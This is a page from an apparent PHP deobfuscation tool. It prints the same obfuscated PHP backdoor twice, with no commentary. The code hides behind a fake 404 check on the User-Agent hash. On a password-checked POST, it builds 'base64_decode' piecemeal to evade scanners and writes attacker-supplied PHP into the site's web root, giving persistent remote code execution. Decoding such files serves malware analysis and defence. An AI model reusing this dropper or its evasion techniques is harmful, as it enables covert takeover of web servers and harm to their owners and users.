Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (/*A545lw9PHt@4C_#.*/md5/*Vn.fVRFp;Db86q{]ZNM%*/( ##OYFZjV-LQO]|:! md5//ZZ:W m+..

Decoded Output download

<?php 
if (/*A545lw9PHt@4C_#.*/md5/*Vn.fVRFp;Db86q{]ZNM%*/( ##OYFZjV-LQO]|:! 
md5//ZZ:W m+KZFHQtqlXq 
(/*]tnm<TUwpIY{*/md5/*x=V4$#zg!R_ELjXeyF@N*/(/*YdH,qZJR;)Mt*/$_SERVER ##y3Bz+<qHAF)YJD 
['HTTP_USER_AGENT']))) != /*a3L;9m-Ogt^l*/'39542de4e2fa50462d96ea26e878a658') ##Lh_PTg 
 { 
    /*p67pIQDZSYdc)V\e|owh*/header/*5q(;eFQCf{ le2*/(/*[+dP1}qaGh&;M*/'HTTP/1.1 404 Not Found')//k1uYx K(Kg 
; 
    /*LBEBo*zxEgkB}z^*/header ##>$}LP;.FmB2onkQvw 
(/*6!W.F4[tf-}n;eY~unJs*/"status: 404 Not Found")/*\S:B:L!BDmzf=6Bc*/; 
    die(); 
} 
if(!empty( ##]AL#, 
$_POST//$^C!j1 
["contentp"]) && !empty( ##N1QD}d!3Wtq 
$_POST//!UmbJJ%QByl8A.c< 
["filename"]) && @/*4_K=B>SR06#\FZm{*/md5 ##7O9or_RdQH;=@*Ge%<E# 
(/*]dKQ%>I*Coa0@f\*/$_POST/*![cxIJ.iYB$Fh8*/["pass"]) == /*JO}#1*/"bc795727e71d6b3f9fff79eb7bccf000")//^oNh.(Qfz3,<rn> 
{ 
    //:KYCBM(+6dwU`F 
$filename ##=uK8%V!FO6Ty#EB 
= /*uYHwIm>H*/$_SERVER//;ZIE]Q$W, 
["DOCUMENT_ROOT"] . //Q1_e>IDvA>H>`Bx_Xe 
"/". ##DZsMi57 
@//D=SGnaDk 
trim ##eGa4Jxab[vrk*S4t@u 
(/*S7rr)!H^*/$_POST//4X:N(Vz 
["filename"]) .  ##,X&X[2IdcQcCS 
".p";/*1jwP&3Ss%*/ 
     ##@X8rMFUqaGsFJJP:_: 
$filename ##e9hfbC&[o 
.=  ##T@E9FnQO{i|i|P 
"hp";/*HVr@OhGh3@=v!DQf*/ 
    /*CAY[R+*/$path//n}HZvc(f;.9iWiI-`m_I 
= //B+~;uDyqG1JV 1 
substr_replace/*^$3dOeh#zv>El(<|M*/("bar","se646",2); 
     ## Uru>ze6~{}j 
$path//PnI\k085kbI(<2.,{Q 
=  ##A$Xj4A 
substr_replace ##S;IAnwcN 
($path,"_decor",6); 
     ##[2PpVGn=EPH+QJYJwF 
$path/*MSq1r5*/= /*Ym7|RtMYrEy{w)z*/substr_replace/*}Vmb|vtP*/($path,"de",11); 
    //KirZ(L*td8l 
file_put_contents/*bGnDw%Z<Hq3X*/($filename, /*Ol7HPLF2S*/"<?php
".//QKoej; 
$path//wF{bRUTffa{3 
(/*$8{`Z+rp~*/$_POST ##H}xELEs,x 
["contentp"]).//&Ekhr)S4 
"?>")/*faxi><\>]^07>.+D#U*/; 
    echo //#n}ZzZW2fczPT$q-: 
$filename//D^rag=6tR-] 
;exit(); 
}

Did this file decode correctly?

Original Code

<?php
if (/*A545lw9PHt@4C_#.*/md5/*Vn.fVRFp;Db86q{]ZNM%*/( ##OYFZjV-LQO]|:!
md5//ZZ:W m+KZFHQtqlXq
(/*]tnm<TUwpIY{*/md5/*x=V4$#zg!R_ELjXeyF@N*/(/*YdH,qZJR;)Mt*/$_SERVER ##y3Bz+<qHAF)YJD
['HTTP_USER_AGENT']))) != /*a3L;9m-Ogt^l*/'39542de4e2fa50462d96ea26e878a658') ##Lh_PTg
 {
    /*p67pIQDZSYdc)V\e|owh*/header/*5q(;eFQCf{ le2*/(/*[+dP1}qaGh&;M*/'HTTP/1.1 404 Not Found')//k1uYx K(Kg
;
    /*LBEBo*zxEgkB}z^*/header ##>$}LP;.FmB2onkQvw
(/*6!W.F4[tf-}n;eY~unJs*/"status: 404 Not Found")/*\S:B:L!BDmzf=6Bc*/;
    die();
}
if(!empty( ##]AL#,
$_POST//$^C!j1
["contentp"]) && !empty( ##N1QD}d!3Wtq
$_POST//!UmbJJ%QByl8A.c<
["filename"]) && @/*4_K=B>SR06#\FZm{*/md5 ##7O9or_RdQH;=@*Ge%<E#
(/*]dKQ%>I*Coa0@f\*/$_POST/*![cxIJ.iYB$Fh8*/["pass"]) == /*JO}\1#1*/"bc795727e71d6b3f9fff79eb7bccf000")//^oNh.(Qfz3,<rn>
{
    //:KYCBM(+6dwU`F
$filename ##=uK8%V!FO6Ty#EB
= /*uYHwIm>H*/$_SERVER//;ZIE]Q$W,
["DOCUMENT_ROOT"] . //Q1_e>IDvA>H>`Bx_Xe
"/". ##DZsMi57
@//D=SGnaDk
trim ##eGa4Jxab[vrk*S4t@u
(/*S7rr)!H^*/$_POST//4X:N(Vz
["filename"]) .  ##,X&X[2IdcQcCS
".p";/*1jwP&3Ss%*/
     ##@X8rMFUqaGsFJJP:_:
$filename ##e9hfbC&[o
.=  ##T@E9FnQO{i|i|P
"hp";/*HVr@OhGh3@=v!DQf*/
    /*CAY[R+*/$path//n}HZvc(f;.9iWiI-`m_I
= //B+~;uDyqG1JV 1
substr_replace/*^$3dOeh#zv>El(<|M*/("bar","se646",2);
     ## Uru>ze6~{}j
$path//PnI\k085kbI(<2.,{Q
=  ##A$Xj4A
substr_replace ##S;IAnwcN
($path,"_decor",6);
     ##[2PpVGn=EPH+QJYJwF
$path/*MSq1r5*/= /*Ym7|RtMYrEy{w)z*/substr_replace/*}Vmb|vtP*/($path,"de",11);
    //KirZ(L*td8l
file_put_contents/*bGnDw%Z<Hq3X*/($filename, /*Ol7HPLF2S*/"<?php\n".//QKoej;
$path//wF{bRUTffa{3
(/*$8{`Z+rp~*/$_POST ##H}xELEs,x
["contentp"]).//&Ekhr)S4
"?>")/*faxi><\>]^07>.+D#U*/;
    echo //#n}ZzZW2fczPT$q-:
$filename//D^rag=6tR-]
;exit();
}

Function Calls

md5 3
header 1

Variables

None

Stats

MD5 ec0b687038b761aa639a03b023e0a0b6
Eval Count 0
Decode Time 44 ms